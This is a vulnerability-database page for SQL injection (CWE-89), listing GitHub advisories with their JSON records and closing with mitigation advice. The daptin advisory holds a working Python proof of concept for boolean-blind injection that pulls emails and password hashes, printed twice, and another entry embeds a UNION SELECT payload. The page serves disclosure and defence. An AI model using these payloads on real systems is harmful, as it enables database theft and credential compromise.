CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
27542 vulnerabilities reference this CWE, most recent first.
GHSA-PWQ6-XJHR-7GVV
Vulnerability from github – Published: 2025-06-17 06:30 – Updated: 2025-06-17 06:30A vulnerability classified as critical was found in code-projects Hostel Management System 1.0. This vulnerability affects unknown code of the file /allocate_room.php. The manipulation of the argument search_box leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-6159"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-17T04:15:56Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical was found in code-projects Hostel Management System 1.0. This vulnerability affects unknown code of the file /allocate_room.php. The manipulation of the argument search_box leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-pwq6-xjhr-7gvv",
"modified": "2025-06-17T06:30:21Z",
"published": "2025-06-17T06:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6159"
},
{
"type": "WEB",
"url": "https://github.com/Aalok-zz/cve/issues/1"
},
{
"type": "WEB",
"url": "https://code-projects.org"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.312634"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.312634"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.593177"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PWQG-Q8PG-PP6R
Vulnerability from github – Published: 2026-05-06 22:10 – Updated: 2026-05-08 21:47Summary
processFuzzySearch in server/resource/resource_findallpaginated.go:1484 splits the user-supplied column parameter by comma and interpolates each segment directly into goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col)) raw SQL with no column whitelist check. The entry point is GET /api/<entity> with operator=fuzzy (or fuzzy_any, fuzzy_all). Any authenticated user — including one who self-registered with no admin involvement — can read the entire database.
Details
At resource_findallpaginated.go:1761, when the operator is fuzzy, fuzzy_any, or fuzzy_all, execution routes to processFuzzySearch (line 1763) before processQueryFilter (line 1780). processQueryFilter is the only path that calls GetColumnByName (line 1351), which validates column names against the table schema. The fuzzy branch never reaches that check.
Inside processFuzzySearch (line 1484), filterQuery.ColumnName is split by comma. After strings.TrimSpace (line 1486), each segment is routed to a DB-driver-specific function. The injectable sink reached depends on the driver and the fuzzy_options.fallback_mode field.
SQLite (processFuzzySearchSQLite, lines 1632–1676) uses goqu.L in all code paths — no fallback_mode required:
- goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col), ...) — line 1650/1657
PostgreSQL, MySQL, MSSQL default to goqu.Ex (identifier-quoted, not injectable). The goqu.L sink is only reached when the attacker supplies a specific fuzzy_options.fallback_mode value in the HTTP query JSON:
- PostgreSQL
word_boundarymode (line 1540):goqu.L(fmt.Sprintf("%s ~* ?", prefix+col), ...) - MySQL
soundexmode (line 1598):goqu.L(fmt.Sprintf("SOUNDEX(%s) = SOUNDEX(?)", prefix+col), ...) - MSSQL
soundexmode (line 1694):goqu.L(fmt.Sprintf("DIFFERENCE(%s, ?) >= 3", prefix+col), ...)
fuzzy_options is deserialized from the HTTP request at line 243 (json.Unmarshal([]byte(query[0]), &queries)) — it is fully attacker-controlled.
goqu.L emits its first argument as a raw SQL literal. The column position uses %s string formatting, not a bound parameter.
prefix is fixed at line 351 as dbResource.model.GetName() + "." — for /api/world this is "world.". Against SQLite, an attacker-supplied column value of reference_id) OR 1=1 OR LOWER(world.reference_id expands in the WHERE clause to LOWER(world.reference_id) OR 1=1 OR LOWER(world.reference_id) LIKE ?. Against PostgreSQL (where reference_id is stored as bytea), the ~* regex operator requires a text-type column; the attack targets a varchar column instead (e.g., table_name) with an adapted injection template.
Relation to GHSA-rw2c-8rfq-gwfv: That patch modified resource_aggregate.go to fix /aggregate/:typename. This vulnerability is in resource_findallpaginated.go on the /api/<entity> fuzzy path — different file, different endpoint, different operator. The existing patch does not cover this path.
Tested: SQLite injection dynamically confirmed (boolean-blind extraction, email extracted). PostgreSQL word_boundary injection dynamically confirmed (baseline=0 rows, tautology=5 rows, email=guest@cms.go extracted via text column). MySQL and MSSQL confirmed by code review; MySQL binary panics on initialization in the test harness (unrelated daptin bug), dynamic verification not performed.
Fix: Add a GetColumnByName whitelist check in processFuzzySearch (line 1484) before the comma-split, matching the pattern in processQueryFilter:1351. All four DB driver sinks require fixing.
PoC
Environment:
git clone https://github.com/daptin/daptin
cd daptin
git checkout 5d3214244890989eceefa694bfc976ef11458721
go build -o daptin-server .
./daptin-server # listens on :6336, SQLite backend by default
poc.py (Python 3, no dependencies):
import json, urllib.request, urllib.parse
BASE = "http://localhost:6336"
def post(path, body):
req = urllib.request.Request(BASE + path, json.dumps(body).encode(),
{"Content-Type": "application/json"})
try:
return json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
except urllib.request.HTTPError as e:
return json.loads(e.read(50_000))
def token():
post("/action/user_account/signup", {"attributes": {
"name": "poc", "email": "poc@test.com",
"password": "adminadmin", "passwordConfirm": "adminadmin"}})
body = post("/action/user_account/signin", {"attributes": {
"email": "poc@test.com", "password": "adminadmin"}})
return next(i["Attributes"]["value"] for i in body
if i.get("ResponseType") == "client.store.set")
def rows(col, jwt):
q = urllib.parse.urlencode({"query": json.dumps(
[{"column": col, "operator": "fuzzy", "value": "zzzzz"}])})
req = urllib.request.Request(f"{BASE}/api/world?{q}&page%5Bsize%5D=5",
headers={"Authorization": "Bearer " + jwt})
d = json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
return len(d.get("data", []))
def oracle(expr, jwt):
col = f"reference_id) OR ({expr}) OR LOWER(world.reference_id"
return rows(col, jwt) > 0
def extract_int(sql, jwt, hi=200):
lo = 0
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle(f"({sql}) >= {mid}", jwt): lo = mid
else: hi = mid - 1
return lo
def extract_str(sql, jwt, maxlen=80):
n = extract_int(f"LENGTH(({sql}))", jwt, hi=maxlen)
s = ""
for _ in range(n):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
pfx = s.replace("'", "''")
expr = f"({sql}) >= '{pfx}'||char({mid+1})" if s else f"({sql}) >= char({mid+1})"
if oracle(expr, jwt): lo = mid + 1
else: hi = mid
s += chr(lo)
return s
jwt = token()
print("baseline :", rows("reference_id", jwt), "rows")
print("tautology:", rows("reference_id) OR 1=1 OR LOWER(world.reference_id", jwt), "rows")
jwt = token()
print("sqlite_master table count:", extract_int("SELECT count(*) FROM sqlite_master WHERE type='table'", jwt, hi=80))
print("email (row 1):", extract_str("SELECT email FROM user_account ORDER BY id LIMIT 1", jwt))
pw_hex = extract_str("SELECT HEX(password) FROM user_account WHERE email='poc@test.com' LIMIT 1", jwt, maxlen=40)
print("pw hash prefix:", bytes.fromhex(pw_hex).decode("ascii", errors="replace"))
Output (measured on commit 5d32142, SQLite, macOS arm64):
baseline : 0 rows
tautology: 5 rows
sqlite_master table count: 57
email (row 1): guest@cms.go
pw hash prefix: $2a$11$W7vO9oOPzpf7u
Impact
Attacker precondition: One valid JWT. Self-signup is enabled by default on a fresh daptin instance — no admin involvement required.
What is impacted: The full database is readable via boolean-blind extraction, including all tables visible in sqlite_master and credential data (emails, bcrypt password hashes) in user_account. Extraction rate is approximately 7 HTTP requests per character, making full-database extraction feasible.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.11.4"
},
"package": {
"ecosystem": "Go",
"name": "github.com/daptin/daptin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44349"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T22:10:11Z",
"nvd_published_at": "2026-05-07T15:16:10Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`processFuzzySearch` in `server/resource/resource_findallpaginated.go:1484` splits the user-supplied `column` parameter by comma and interpolates each segment directly into `goqu.L(fmt.Sprintf(\"LOWER(%s) LIKE ?\", prefix+col))` raw SQL with no column whitelist check. The entry point is `GET /api/\u003centity\u003e` with `operator=fuzzy` (or `fuzzy_any`, `fuzzy_all`). Any authenticated user \u2014 including one who self-registered with no admin involvement \u2014 can read the entire database.\n\n---\n\n## Details\n\nAt `resource_findallpaginated.go:1761`, when the operator is `fuzzy`, `fuzzy_any`, or `fuzzy_all`, execution routes to `processFuzzySearch` (line 1763) before `processQueryFilter` (line 1780). `processQueryFilter` is the only path that calls `GetColumnByName` (line 1351), which validates column names against the table schema. The fuzzy branch never reaches that check.\n\nInside `processFuzzySearch` (line 1484), `filterQuery.ColumnName` is split by comma. After `strings.TrimSpace` (line 1486), each segment is routed to a DB-driver-specific function. The injectable sink reached depends on the driver and the `fuzzy_options.fallback_mode` field.\n\n**SQLite** (`processFuzzySearchSQLite`, lines 1632\u20131676) uses `goqu.L` in all code paths \u2014 no `fallback_mode` required:\n- `goqu.L(fmt.Sprintf(\"LOWER(%s) LIKE ?\", prefix+col), ...)` \u2014 line 1650/1657\n\n**PostgreSQL, MySQL, MSSQL** default to `goqu.Ex` (identifier-quoted, not injectable). The `goqu.L` sink is only reached when the attacker supplies a specific `fuzzy_options.fallback_mode` value in the HTTP `query` JSON:\n\n- PostgreSQL `word_boundary` mode (line 1540): `goqu.L(fmt.Sprintf(\"%s ~* ?\", prefix+col), ...)`\n- MySQL `soundex` mode (line 1598): `goqu.L(fmt.Sprintf(\"SOUNDEX(%s) = SOUNDEX(?)\", prefix+col), ...)`\n- MSSQL `soundex` mode (line 1694): `goqu.L(fmt.Sprintf(\"DIFFERENCE(%s, ?) \u003e= 3\", prefix+col), ...)`\n\n`fuzzy_options` is deserialized from the HTTP request at line 243 (`json.Unmarshal([]byte(query[0]), \u0026queries)`) \u2014 it is fully attacker-controlled.\n\n`goqu.L` emits its first argument as a raw SQL literal. The column position uses `%s` string formatting, not a bound parameter.\n\n`prefix` is fixed at line 351 as `dbResource.model.GetName() + \".\"` \u2014 for `/api/world` this is `\"world.\"`. Against SQLite, an attacker-supplied column value of `reference_id) OR 1=1 OR LOWER(world.reference_id` expands in the WHERE clause to `LOWER(world.reference_id) OR 1=1 OR LOWER(world.reference_id) LIKE ?`. Against PostgreSQL (where `reference_id` is stored as `bytea`), the `~*` regex operator requires a text-type column; the attack targets a `varchar` column instead (e.g., `table_name`) with an adapted injection template.\n\n**Relation to GHSA-rw2c-8rfq-gwfv**: That patch modified `resource_aggregate.go` to fix `/aggregate/:typename`. This vulnerability is in `resource_findallpaginated.go` on the `/api/\u003centity\u003e` fuzzy path \u2014 different file, different endpoint, different operator. The existing patch does not cover this path.\n\n**Tested:** SQLite injection dynamically confirmed (boolean-blind extraction, email extracted). PostgreSQL `word_boundary` injection dynamically confirmed (baseline=0 rows, tautology=5 rows, email=`guest@cms.go` extracted via text column). MySQL and MSSQL confirmed by code review; MySQL binary panics on initialization in the test harness (unrelated daptin bug), dynamic verification not performed.\n\n**Fix**: Add a `GetColumnByName` whitelist check in `processFuzzySearch` (line 1484) before the comma-split, matching the pattern in `processQueryFilter:1351`. All four DB driver sinks require fixing.\n\n---\n\n## PoC\n\n**Environment:**\n\n```bash\ngit clone https://github.com/daptin/daptin\ncd daptin\ngit checkout 5d3214244890989eceefa694bfc976ef11458721\ngo build -o daptin-server .\n./daptin-server # listens on :6336, SQLite backend by default\n```\n\n**poc.py** (Python 3, no dependencies):\n\n```python\nimport json, urllib.request, urllib.parse\n\nBASE = \"http://localhost:6336\"\n\ndef post(path, body):\n req = urllib.request.Request(BASE + path, json.dumps(body).encode(),\n {\"Content-Type\": \"application/json\"})\n try:\n return json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))\n except urllib.request.HTTPError as e:\n return json.loads(e.read(50_000))\n\ndef token():\n post(\"/action/user_account/signup\", {\"attributes\": {\n \"name\": \"poc\", \"email\": \"poc@test.com\",\n \"password\": \"adminadmin\", \"passwordConfirm\": \"adminadmin\"}})\n body = post(\"/action/user_account/signin\", {\"attributes\": {\n \"email\": \"poc@test.com\", \"password\": \"adminadmin\"}})\n return next(i[\"Attributes\"][\"value\"] for i in body\n if i.get(\"ResponseType\") == \"client.store.set\")\n\ndef rows(col, jwt):\n q = urllib.parse.urlencode({\"query\": json.dumps(\n [{\"column\": col, \"operator\": \"fuzzy\", \"value\": \"zzzzz\"}])})\n req = urllib.request.Request(f\"{BASE}/api/world?{q}\u0026page%5Bsize%5D=5\",\n headers={\"Authorization\": \"Bearer \" + jwt})\n d = json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))\n return len(d.get(\"data\", []))\n\ndef oracle(expr, jwt):\n col = f\"reference_id) OR ({expr}) OR LOWER(world.reference_id\"\n return rows(col, jwt) \u003e 0\n\ndef extract_int(sql, jwt, hi=200):\n lo = 0\n while lo \u003c hi:\n mid = (lo + hi + 1) // 2\n if oracle(f\"({sql}) \u003e= {mid}\", jwt): lo = mid\n else: hi = mid - 1\n return lo\n\ndef extract_str(sql, jwt, maxlen=80):\n n = extract_int(f\"LENGTH(({sql}))\", jwt, hi=maxlen)\n s = \"\"\n for _ in range(n):\n lo, hi = 32, 126\n while lo \u003c hi:\n mid = (lo + hi) // 2\n pfx = s.replace(\"\u0027\", \"\u0027\u0027\")\n expr = f\"({sql}) \u003e= \u0027{pfx}\u0027||char({mid+1})\" if s else f\"({sql}) \u003e= char({mid+1})\"\n if oracle(expr, jwt): lo = mid + 1\n else: hi = mid\n s += chr(lo)\n return s\n\njwt = token()\nprint(\"baseline :\", rows(\"reference_id\", jwt), \"rows\")\nprint(\"tautology:\", rows(\"reference_id) OR 1=1 OR LOWER(world.reference_id\", jwt), \"rows\")\n\njwt = token()\nprint(\"sqlite_master table count:\", extract_int(\"SELECT count(*) FROM sqlite_master WHERE type=\u0027table\u0027\", jwt, hi=80))\nprint(\"email (row 1):\", extract_str(\"SELECT email FROM user_account ORDER BY id LIMIT 1\", jwt))\npw_hex = extract_str(\"SELECT HEX(password) FROM user_account WHERE email=\u0027poc@test.com\u0027 LIMIT 1\", jwt, maxlen=40)\nprint(\"pw hash prefix:\", bytes.fromhex(pw_hex).decode(\"ascii\", errors=\"replace\"))\n```\n\n**Output** (measured on commit `5d32142`, SQLite, macOS arm64):\n\n```\nbaseline : 0 rows\ntautology: 5 rows\nsqlite_master table count: 57\nemail (row 1): guest@cms.go\npw hash prefix: $2a$11$W7vO9oOPzpf7u\n```\n\n---\n\n## Impact\n\n**Attacker precondition**: One valid JWT. Self-signup is enabled by default on a fresh daptin instance \u2014 no admin involvement required.\n\n**What is impacted**: The full database is readable via boolean-blind extraction, including all tables visible in `sqlite_master` and credential data (emails, bcrypt password hashes) in `user_account`. Extraction rate is approximately 7 HTTP requests per character, making full-database extraction feasible.",
"id": "GHSA-pwqg-q8pg-pp6r",
"modified": "2026-05-08T21:47:40Z",
"published": "2026-05-06T22:10:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/daptin/daptin/security/advisories/GHSA-pwqg-q8pg-pp6r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44349"
},
{
"type": "PACKAGE",
"url": "https://github.com/daptin/daptin"
},
{
"type": "WEB",
"url": "https://github.com/daptin/daptin/releases/tag/v0.11.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Daptin fuzzy search injects unvalidated column name into raw SQL"
}
GHSA-PWR2-748R-W9W2
Vulnerability from github – Published: 2022-07-21 00:00 – Updated: 2022-07-27 00:00A vulnerability has been found in SourceCodester Library Management System 1.0 and classified as critical. This vulnerability affects unknown code of the file lab.php. The manipulation of the argument Section with the input 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71716b7171,0x546e4444736b7743575a666d4873746a6450616261527a67627944426946507245664143694c6a4c,0x7162706b71),NULL,NULL,NULL,NULL# leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2022-2491"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-20T12:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been found in SourceCodester Library Management System 1.0 and classified as critical. This vulnerability affects unknown code of the file lab.php. The manipulation of the argument Section with the input 1\u0027 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71716b7171,0x546e4444736b7743575a666d4873746a6450616261527a67627944426946507245664143694c6a4c,0x7162706b71),NULL,NULL,NULL,NULL# leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-pwr2-748r-w9w2",
"modified": "2022-07-27T00:00:32Z",
"published": "2022-07-21T00:00:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2491"
},
{
"type": "WEB",
"url": "https://github.com/xiahao90/CVEproject/blob/main/xiahao.webray.com.cn/Library-Management-System-with-QR-code-Attendance-and-Auto-Generate-Library-Card.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.204574"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PWVF-W726-84CX
Vulnerability from github – Published: 2022-05-17 04:40 – Updated: 2025-04-12 12:35SQL injection vulnerability in the WP Rss Poster (wp-rss-poster) plugin 1.0.0 for WordPress allows remote attackers to execute arbitrary SQL commands via the id parameter in the wrp-add-new page to wp-admin/admin.php.
{
"affected": [],
"aliases": [
"CVE-2014-4938"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-07-11T20:55:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in the WP Rss Poster (wp-rss-poster) plugin 1.0.0 for WordPress allows remote attackers to execute arbitrary SQL commands via the id parameter in the wrp-add-new page to wp-admin/admin.php.",
"id": "GHSA-pwvf-w726-84cx",
"modified": "2025-04-12T12:35:37Z",
"published": "2022-05-17T04:40:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4938"
},
{
"type": "WEB",
"url": "http://codevigilant.com/disclosure/wp-plugin-wp-rss-poster-a1-injection"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-PWW4-C7MQ-VJ87
Vulnerability from github – Published: 2022-05-02 06:15 – Updated: 2025-04-11 03:31Multiple SQL injection vulnerabilities in zport/dmd/Events/getJSONEventsInfo in Zenoss 2.3.3, and other versions before 2.5, allow remote authenticated users to execute arbitrary SQL commands via the (1) severity, (2) state, (3) filter, (4) offset, and (5) count parameters.
{
"affected": [],
"aliases": [
"CVE-2010-0712"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-02-26T17:30:00Z",
"severity": "MODERATE"
},
"details": "Multiple SQL injection vulnerabilities in zport/dmd/Events/getJSONEventsInfo in Zenoss 2.3.3, and other versions before 2.5, allow remote authenticated users to execute arbitrary SQL commands via the (1) severity, (2) state, (3) filter, (4) offset, and (5) count parameters.",
"id": "GHSA-pww4-c7mq-vj87",
"modified": "2025-04-11T03:31:48Z",
"published": "2022-05-02T06:15:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0712"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/55670"
},
{
"type": "WEB",
"url": "http://dev.zenoss.org/trac/changeset/15257"
},
{
"type": "WEB",
"url": "http://osvdb.org/61804"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/38195"
},
{
"type": "WEB",
"url": "http://www.ngenuity.org/wordpress/2010/01/14/ngenuity-2010-001-zenoss-getjsoneventsinfo-sql-injection"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/37802"
},
{
"type": "WEB",
"url": "http://www.zenoss.com/news/SQL-Injection-and-Cross-Site-Forgery-in-Zenoss-Core-Corrected.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-PWWG-VRCR-33HQ
Vulnerability from github – Published: 2024-11-05 15:30 – Updated: 2024-11-05 15:30A vulnerability, which was classified as critical, was found in 1000 Projects Bookstore Management System 1.0. This affects an unknown part of the file search.php. The manipulation of the argument s leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2024-10844"
],
"database_specific": {
"cwe_ids": [
"CWE-707",
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-05T15:15:22Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, was found in 1000 Projects Bookstore Management System 1.0. This affects an unknown part of the file search.php. The manipulation of the argument s leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-pwwg-vrcr-33hq",
"modified": "2024-11-05T15:30:36Z",
"published": "2024-11-05T15:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10844"
},
{
"type": "WEB",
"url": "https://github.com/sbm-98/CVE/issues/1"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.283089"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.283089"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.436969"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PWWP-53VP-7MV3
Vulnerability from github – Published: 2024-04-08 21:31 – Updated: 2024-04-08 21:31A vulnerability was found in SourceCodester Laundry Management System 1.0. It has been classified as critical. Affected is the function laporan_filter of the file /application/controller/Transaki.php. The manipulation of the argument dari/sampai leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-259746 is the identifier assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-3465"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-08T21:15:10Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in SourceCodester Laundry Management System 1.0. It has been classified as critical. Affected is the function laporan_filter of the file /application/controller/Transaki.php. The manipulation of the argument dari/sampai leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-259746 is the identifier assigned to this vulnerability.",
"id": "GHSA-pwwp-53vp-7mv3",
"modified": "2024-04-08T21:31:16Z",
"published": "2024-04-08T21:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3465"
},
{
"type": "WEB",
"url": "https://github.com/fubxx/CVE/blob/main/LaundryManagementSystemSQL3.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.259746"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.259746"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.312313"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-PWXM-H2XG-RWV6
Vulnerability from github – Published: 2024-08-02 21:31 – Updated: 2024-08-08 18:31An issue in Horizon Business Services Inc. Caterease 16.0.1.1663 through 24.0.1.2405 and possibly later versions, allows a remote attacker to perform SQL Injection due to improper neutralization of special elements used in an SQL command.
{
"affected": [],
"aliases": [
"CVE-2024-38889"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-02T20:17:00Z",
"severity": "CRITICAL"
},
"details": "An issue in Horizon Business Services Inc. Caterease 16.0.1.1663 through 24.0.1.2405 and possibly later versions, allows a remote attacker to perform SQL Injection due to improper neutralization of special elements used in an SQL command.",
"id": "GHSA-pwxm-h2xg-rwv6",
"modified": "2024-08-08T18:31:20Z",
"published": "2024-08-02T21:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38889"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/179892/Caterease-Software-SQL-Injection-Command-Injection-Bypass.html"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.273373"
},
{
"type": "WEB",
"url": "http://caterease.com"
},
{
"type": "WEB",
"url": "http://horizon.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PWXV-QQR3-C69V
Vulnerability from github – Published: 2022-05-17 01:29 – Updated: 2022-05-17 01:29SQL injection vulnerability in form.php in the FormCraft plugin 1.3.7 and earlier for WordPress allows remote attackers to execute arbitrary SQL commands via the id parameter.
{
"affected": [],
"aliases": [
"CVE-2013-7187"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-12-20T23:55:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in form.php in the FormCraft plugin 1.3.7 and earlier for WordPress allows remote attackers to execute arbitrary SQL commands via the id parameter.",
"id": "GHSA-pwxv-qqr3-c69v",
"modified": "2022-05-17T01:29:38Z",
"published": "2022-05-17T01:29:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-7187"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/89581"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/124343/wpformcraft-sql.txt"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/56044"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/30002"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/64183"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-PX24-2C2W-9GXP
Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2025-04-20 03:47Same Sex Dating Software Pro 1.0 allows SQL Injection via the viewprofile.php profid parameter, the viewmessage.php sender_id parameter, or the /admin Email field, a related issue to CVE-2017-15972.
{
"affected": [],
"aliases": [
"CVE-2017-15971"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-29T06:29:00Z",
"severity": "CRITICAL"
},
"details": "Same Sex Dating Software Pro 1.0 allows SQL Injection via the viewprofile.php profid parameter, the viewmessage.php sender_id parameter, or the /admin Email field, a related issue to CVE-2017-15972.",
"id": "GHSA-px24-2c2w-9gxp",
"modified": "2025-04-20T03:47:49Z",
"published": "2022-05-13T01:23:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15971"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/144441/Same-Sex-Dating-Software-Pro-1.0-SQL-Injection.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/43088"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
